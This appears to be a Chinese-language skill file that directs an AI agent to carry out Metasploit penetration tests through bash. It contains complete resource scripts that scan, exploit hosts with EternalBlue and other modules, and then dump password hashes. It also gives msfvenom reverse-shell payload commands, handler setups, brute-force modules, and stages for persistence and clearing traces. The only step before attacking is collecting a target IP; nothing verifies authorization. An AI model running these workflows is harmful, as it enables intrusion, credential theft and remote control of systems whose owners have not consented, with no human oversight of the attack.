返回 Skill 列表
extension
分类: 其它无需 API Key

metasploit-framework-skill

指导AI代理通过Bash使用Metasploit框架进行渗透测试,包含扫描、利用选择、载荷投递、会话及后渗透等环节。

person作者: herberthehubclawhub

Metasploit Framework — 渗透测试实战指南

本 skill 指导 AI Agent 通过 bash 命令使用 Metasploit Framework 执行渗透测试。

开始前:确认任务信息

执行任何渗透操作前,必须先确认以下信息(如用户未提供,主动询问)

| 必需信息 | 说明 | 示例 | |----------|------|------| | 目标 IP / 网段 | 要渗透的目标地址 | 192.168.1.100192.168.1.0/24 | | 攻击机 IP (LHOST) | 自动检测(见下方),用于 reverse payload 回连 | 10.0.0.5 | | 目标系统(如已知) | 帮助选择 exploit 和 payload | Windows 7、Ubuntu 20.04 等 |

自动获取攻击机 IP(LHOST):

# Linux
LHOST=$(ip route get 1.1.1.1 2>/dev/null | awk '{print $7; exit}')
# macOS
[ -z "$LHOST" ] && LHOST=$(ifconfig | grep 'inet ' | grep -v 127.0.0.1 | head -1 | awk '{print $2}')
echo "LHOST=$LHOST"

关于"0day":MSF 内置的 exploit 均为已公开 CVE 漏洞的利用代码,不是真正的 0day。用户说"0day"通常意指"目标未修补的已知漏洞",Agent 按正常流程扫描即可。

渗透测试标准流程

0. 环境检测 → 检测并安装 msfconsole、nmap 等依赖工具
1. 信息收集 → nmap 扫描目标,识别 OS、端口、服务、架构(x86/x64)
2. 漏洞发现 → 根据扫描结果匹配 exploit,运行 check 验证
3. 漏洞利用 → 选择 exploit + 匹配架构的 payload,写入 .rc 一次性完成攻击+后渗透
4. 后渗透   → 提权、信息收集、横向移动、持久化(写在同一 .rc 中)
5. 清理     → 清除痕迹,关闭 session

性能提示:每次 msfconsole 启动需 15-30 秒。尽量把扫描→验证→攻击→后渗透合并到一个 .rc 资源脚本中执行,避免多次启动开销。

第零阶段:环境检测与安装

每次执行渗透任务前必须先运行环境检测,确认工具可用,缺失则自动安装。 检测结果决定后续命令的执行方式:本地模式Docker 模式

第一步:检测 MSF 运行环境

重要:以下所有检测命令必须在同一个 shell session 中执行,变量才能跨步骤保持。

export MSF_MODE="missing"
export MSF_CONTAINER=""

# 1) 检测本地是否有 msfconsole(只检测二进制存在,不运行 --version 因为加载框架要 30s+)
if command -v msfconsole &>/dev/null; then
  MSF_MODE="local"
  echo "[+] MSF 环境: 本地安装 ($(which msfconsole))"

# 2) 检测是否有正在运行的 MSF Docker 容器
elif docker ps --format '{{.Names}} {{.Image}}' 2>/dev/null | grep -qi metasploit; then
  MSF_MODE="docker"
  MSF_CONTAINER=$(docker ps --format '{{.Names}} {{.Image}}' 2>/dev/null | grep -i metasploit | head -1 | awk '{print $1}')
  echo "[+] MSF 环境: Docker 容器 ($MSF_CONTAINER)"

# 3) 检测是否有已停止的 MSF 容器(可启动)
elif docker ps -a --format '{{.Names}} {{.Image}}' 2>/dev/null | grep -qi metasploit; then
  MSF_MODE="docker-stopped"
  MSF_CONTAINER=$(docker ps -a --format '{{.Names}} {{.Image}}' 2>/dev/null | grep -i metasploit | head -1 | awk '{print $1}')
  echo "[!] MSF 环境: Docker 容器已停止 ($MSF_CONTAINER),需要启动"

# 4) 检测 Docker 是否可用(可以拉取镜像)
elif command -v docker &>/dev/null; then
  MSF_MODE="docker-available"
  echo "[!] MSF 环境: 未安装本地 MSF,但 Docker 可用,可拉取镜像"

else
  echo "[-] MSF 环境: 未检测到 msfconsole 或 Docker"
fi

export MSF_MODE MSF_CONTAINER
echo "MSF_MODE=$MSF_MODE MSF_CONTAINER=$MSF_CONTAINER"

第二步:检测其他工具

for cmd in nmap curl wget searchsploit; do
  if command -v $cmd &>/dev/null; then
    echo "[+] $cmd: $(which $cmd)"
  else
    echo "[-] $cmd: 未安装"
  fi
done

第三步:根据检测结果安装/启动

情况 A:本地已安装(MSF_MODE=local)

无需额外操作,直接使用。

情况 B:Docker 容器运行中(MSF_MODE=docker)

无需额外操作,后续命令通过 docker exec 执行。

情况 C:Docker 容器已停止(MSF_MODE=docker-stopped)

docker start $MSF_CONTAINER
sleep 3  # 等待 postgresql 启动
docker exec $MSF_CONTAINER service postgresql status || docker exec $MSF_CONTAINER service postgresql start

情况 D:有 Docker 但无 MSF 镜像(MSF_MODE=docker-available)

docker pull metasploitframework/metasploit-framework

# 启动持久化容器(挂载数据卷 + 共享宿主机网络)
# 用 bash -c 启动 postgresql + 保持容器运行,不要用 tail -f /dev/null 覆盖入口点
docker run -d \
  --name msf \
  --network host \
  -v msf-data:/root/.msf4 \
  -v /tmp/msf-loot:/loot \
  metasploitframework/metasploit-framework \
  bash -c "service postgresql start; msfdb init; tail -f /dev/null"

export MSF_CONTAINER="msf"

# 等待容器就绪(postgresql 启动需几秒)
sleep 5
docker exec $MSF_CONTAINER msfconsole -q -x "db_status; exit"

--network host 让容器共享宿主机网络,reverse_tcp 监听和内网扫描才能正常工作。 macOS/Windows Docker Desktop 不支持 host 网络模式,改用端口映射:

docker run -d \
  --name msf \
  -p 4444-4450:4444-4450 \
  -p 8080-8085:8080-8085 \
  -v msf-data:/root/.msf4 \
  -v /tmp/msf-loot:/loot \
  metasploitframework/metasploit-framework \
  bash -c "service postgresql start; msfdb init; tail -f /dev/null"

情况 E:都没有(MSF_MODE=missing)

本地安装 MSF:

# 方法一:官方一键安装脚本(推荐,Linux / macOS)
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
chmod +x /tmp/msfinstall && /tmp/msfinstall

# 方法二:Kali Linux(已预装,确保更新)
sudo apt update && sudo apt install -y metasploit-framework

# 方法三:macOS (Homebrew)
brew install metasploit

# Windows:从 https://windows.metasploit.com/ 下载

安装 Nmap 及辅助工具(如缺失)

# Debian/Ubuntu/Kali
sudo apt update && sudo apt install -y nmap curl wget exploitdb proxychains4 john hashcat

# CentOS/Fedora
sudo dnf install -y nmap curl wget

# macOS
brew install nmap

# Docker 容器内缺 nmap 时(官方镜像基于 Debian,有 apt)
docker exec $MSF_CONTAINER bash -c "apt-get update && apt-get install -y nmap"

Agent 执行模型(非交互式)

Agent 不能与 msfconsole 交互式对话,所有操作必须通过以下三种模式执行:

模式一:-x 一次性命令(适合扫描、搜索、单步操作)

msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run; exit"

模式二:资源脚本 .rc(适合多步操作、exploit + 后渗透)

cat > /tmp/attack.rc << 'EOF'
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <你的IP>
set LPORT 4444
exploit -z
sleep 5
sessions -C "sysinfo" -i 1
sessions -C "hashdump" -i 1
EOF
msfconsole -q -r /tmp/attack.rc

关键参数

  • exploit -z:exploit 成功后自动将 session 放入后台,msfconsole 继续执行后续命令
  • sessions -C "cmd" -i <id>:向指定 session 发送 Meterpreter 命令并返回结果
  • 资源脚本结束后 msfconsole 自动退出,session 随之关闭——所以所有后渗透操作必须写在同一个 .rc 文件中

模式三:后台长期运行(适合 handler 监听回连)

cat > /tmp/handler.rc << 'EOF'
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
set AutoRunScript "multi_console_command -r /tmp/post_auto.rc"
exploit
EOF
nohup msfconsole -q -r /tmp/handler.rc > /tmp/handler.log 2>&1 &
echo "Handler PID: $!"

exploit 不带 -j,msfconsole 阻塞等待连接不会退出。AutoRunScript 在 session 建立时自动执行后渗透命令。

Docker 模式对照

| 操作 | 本地模式 | Docker 模式 | |------|---------|------------| | -x 命令 | msfconsole -q -x "..." | docker exec $MSF_CONTAINER msfconsole -q -x "..." | | 资源脚本 | msfconsole -q -r /tmp/a.rc | 写入 /tmp/msf-loot/a.rcdocker exec $MSF_CONTAINER msfconsole -q -r /loot/a.rc | | payload 生成 | msfvenom ... -o /tmp/shell.exe | docker exec $MSF_CONTAINER msfvenom ... -o /loot/shell.exe(宿主机 /tmp/msf-loot/)| | nmap 扫描 | -x 内用 db_nmap | 宿主机 nmap -oX /tmp/msf-loot/s.xml-x "db_import /loot/s.xml" |

Docker --network host 时网络与宿主机一致,db_nmap 可直接扫描。否则 nmap 在宿主机执行后导入。


前置准备(环境检测通过后)

初始化数据库

# 本地
msfdb init

# Docker
docker exec $MSF_CONTAINER msfdb init

验证

# 本地
msfconsole -q -x "db_status; exit"

# Docker
docker exec $MSF_CONTAINER msfconsole -q -x "db_status; exit"
# 应输出: [*] Connected to msf. Connection type: postgresql.

如果 db_status 未连接(本地模式):

sudo systemctl start postgresql    # Linux systemd
sudo service postgresql start      # Linux SysV
brew services start postgresql     # macOS
msfdb reinit

第一阶段:信息收集

nmap 扫描(db_nmap 结果自动入库)

msfconsole -q -x "db_nmap -sn 192.168.1.0/24; hosts; exit"
msfconsole -q -x "db_nmap -sV -O -A 192.168.1.100; services; exit"
msfconsole -q -x "db_nmap --script vuln 192.168.1.100; vulns; exit"
msfconsole -q -x 'db_nmap --script "smb-vuln*" -p 445 192.168.1.100; vulns; exit'

批量扫描用资源脚本更高效(一次加载 msfconsole,省去多次启动开销):

cat > /tmp/recon.rc << 'EOF'
db_nmap -sV -O -A 192.168.1.0/24
db_nmap --script vuln 192.168.1.0/24
hosts
services
vulns
EOF
msfconsole -q -r /tmp/recon.rc

MSF 辅助扫描模块

msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run; exit"
msfconsole -q -x "use auxiliary/scanner/http/title; set RHOSTS 192.168.1.0/24; set RPORT 80; run; exit"
msfconsole -q -x "use auxiliary/scanner/ssh/ssh_version; set RHOSTS 192.168.1.0/24; run; exit"
msfconsole -q -x "use auxiliary/scanner/ftp/anonymous; set RHOSTS 192.168.1.0/24; run; exit"

第二阶段:漏洞发现与利用

从扫描结果→选择 exploit 的决策逻辑

根据 nmap 输出中的 开放端口 + 服务版本 + OS 版本 匹配 exploit:

| nmap 发现 | 推荐操作 | |-----------|---------| | Win7/2008 + port 445 SMB | search ms17_010 → EternalBlue | | Windows + port 445 + 有凭据 | exploit/windows/smb/psexec | | port 22 SSH | auxiliary/scanner/ssh/ssh_login(暴破)| | port 8080 Tomcat | auxiliary/scanner/http/tomcat_mgr_default_credstomcat_mgr_upload | | port 6379 Redis | auxiliary/scanner/redis/redis_serverredis_replication_cmd_exec | | port 3306 MySQL | auxiliary/scanner/mysql/mysql_login(暴破)→ mysql_udf_payload | | port 1433 MSSQL | auxiliary/scanner/mssql/mssql_login(暴破)→ mssql_payload | | Web 应用 | 手动识别框架(Struts/PHP等) → 搜索对应 exploit | | 未匹配已知场景 | msfconsole -q -x "search type:exploit platform:<os> <关键词>; exit" |

搜索 + 验证 + 攻击(推荐合并到一个 .rc 减少启动开销)

# 1. 单独搜索(快速查看有哪些可用 exploit)
msfconsole -q -x "search type:exploit platform:windows smb; exit"

x86 vs x64 架构判断

nmap -O 输出中如果显示 "x86" 或 "32-bit",必须使用 x86 payload。

| nmap OS 探测结果 | Payload 前缀 | |-----------------|-------------| | Windows x64 / 64-bit | windows/x64/meterpreter/reverse_tcp | | Windows x86 / 32-bit | windows/meterpreter/reverse_tcp | | 不确定 | 优先用 x64,失败后换 x86 重试 |

完整攻击流程(一个 .rc 搞定)

cat > /tmp/attack.rc << 'EOF'
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.100
run
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <LHOST>
set LPORT 4444
exploit -z
sleep 5
sessions -C "sysinfo" -i 1
sessions -C "getuid" -i 1
sessions -C "hashdump" -i 1
EOF
msfconsole -q -r /tmp/attack.rc

失败处理

  • check 输出 not vulnerable:该漏洞不可用,换下一个 exploit 或用 search 找替代
  • exploit 执行后无 session:检查 LHOST/LPORT 是否正确、防火墙是否放行、payload 架构是否匹配(x86 vs x64)
  • session 秒断:目标杀软拦截了 payload,尝试 reverse_https 或 stageless payload

Payload 选择指南

| 目标系统 | 推荐 Payload | 说明 | |----------|-------------|------| | Windows x64 | windows/x64/meterpreter/reverse_tcp | 首选,功能最全 | | Windows x86 | windows/meterpreter/reverse_tcp | 32位系统 | | Linux x64 | linux/x64/meterpreter/reverse_tcp | Linux 首选 | | Linux (轻量) | cmd/unix/reverse_bash | 无需 Meterpreter | | PHP 应用 | php/meterpreter/reverse_tcp | Web 应用 | | Java 应用 | java/meterpreter/reverse_tcp | Tomcat/JBoss 等 | | Python 环境 | python/meterpreter/reverse_tcp | Python 可用时 |

reverse_tcp vs bind_tcp:目标能出网用 reverse_tcp(目标连回你),不能出网用 bind_tcp(你连过去)。有防火墙时尝试 reverse_https

第三阶段:后渗透

后渗透必须追加在 exploit 的同一个 .rc 资源脚本中(msfconsole 退出则 session 丢失)。

在上述 attack.rcexploit -zsleep 5 之后追加:

sessions -C "sysinfo" -i 1
sessions -C "getsystem" -i 1
sessions -C "hashdump" -i 1
sessions -C "screenshot" -i 1
sessions -C "run autoroute -s 10.0.0.0/24" -i 1
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

完整命令速查 → post-exploitation.md

常用 msfvenom 命令

# Windows EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=4444 -f exe -o shell.exe
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<你的IP> LPORT=4444 -f elf -o shell
# PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=4444 -f raw -o shell.php

更多格式见 msfvenom-cheatsheet.md

生成后需启动 handler 监听(后台长期运行,等待目标回连):

cat > /tmp/post_auto.rc << 'EOF'
sysinfo
getuid
hashdump
EOF

cat > /tmp/handler.rc << 'EOF'
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
set AutoRunScript "multi_console_command -r /tmp/post_auto.rc"
exploit
EOF
nohup msfconsole -q -r /tmp/handler.rc > /tmp/handler.log 2>&1 &
echo "Handler PID: $! — 查看日志: tail -f /tmp/handler.log"

exploit 不带 -j 使 msfconsole 阻塞等待,不会退出。AutoRunScript 在收到 session 时自动执行后渗透。

常见渗透场景速查

详细步骤见 pentest-workflows.md

| 场景 | Exploit | 说明 | |------|---------|------| | Windows 7/2008 SMB | exploit/windows/smb/ms17_010_eternalblue | 永恒之蓝 | | Windows SMB 通用 | exploit/windows/smb/psexec | 需要凭据 | | Tomcat 管理器 | exploit/multi/http/tomcat_mgr_upload | 需要凭据 | | Apache Struts | exploit/multi/http/struts2_content_type_ognl | RCE | | Redis 未授权 | exploit/linux/redis/redis_replication_cmd_exec | 未授权 | | MySQL UDF | exploit/multi/mysql/mysql_udf_payload | 需要凭据 | | SSH 暴力破解 | auxiliary/scanner/ssh/ssh_login | 需要字典 | | FTP 暴力破解 | auxiliary/scanner/ftp/ftp_login | 需要字典 | | HTTP 基础认证破解 | auxiliary/scanner/http/http_login | 需要字典 | | VNC 无密码检测 | auxiliary/scanner/vnc/vnc_none_auth | 直接访问 | | MS-SQL 暴破 | auxiliary/scanner/mssql/mssql_login | 需要字典 |

资源脚本编写要点

exploit -z              # 必须带 -z,成功后 session 进后台,继续执行下一行
sleep 5                 # exploit 后给 session 建立时间
sessions -C "cmd" -i 1  # 向 session 1 发送 Meterpreter 命令(大写 -C)
sessions -c "cmd" -i 1  # 向 session 1 发送系统 shell 命令(小写 -c)

推荐把 recon → check → exploit → post 全部写入一个 .rc,避免多次启动 msfconsole。见第二阶段的"完整攻击流程"示例。

关键提示

  • 先 check 后 exploit:避免打崩目标服务
  • 优先选高 Rank 的 exploit:excellent > great > good
  • reverse_tcp 要确保目标能访问你的 IP:内网用内网IP,外网需端口转发或用 ngrok
  • 多个目标时用 RHOSTS 范围set RHOSTS 192.168.1.1-254set RHOSTS file:/tmp/targets.txt
  • session 生命周期:session 绑定 msfconsole 进程,进程退出 = session 丢失。所有需要 session 的操作必须在同一个 .rc-x 中完成
  • 导入外部扫描db_import /path/to/nmap.xml 导入 nmap/Nessus 结果
  • 数据库持久化hostsservicesvulnscreds 数据保存在数据库中,跨 msfconsole 重启可用

更多参考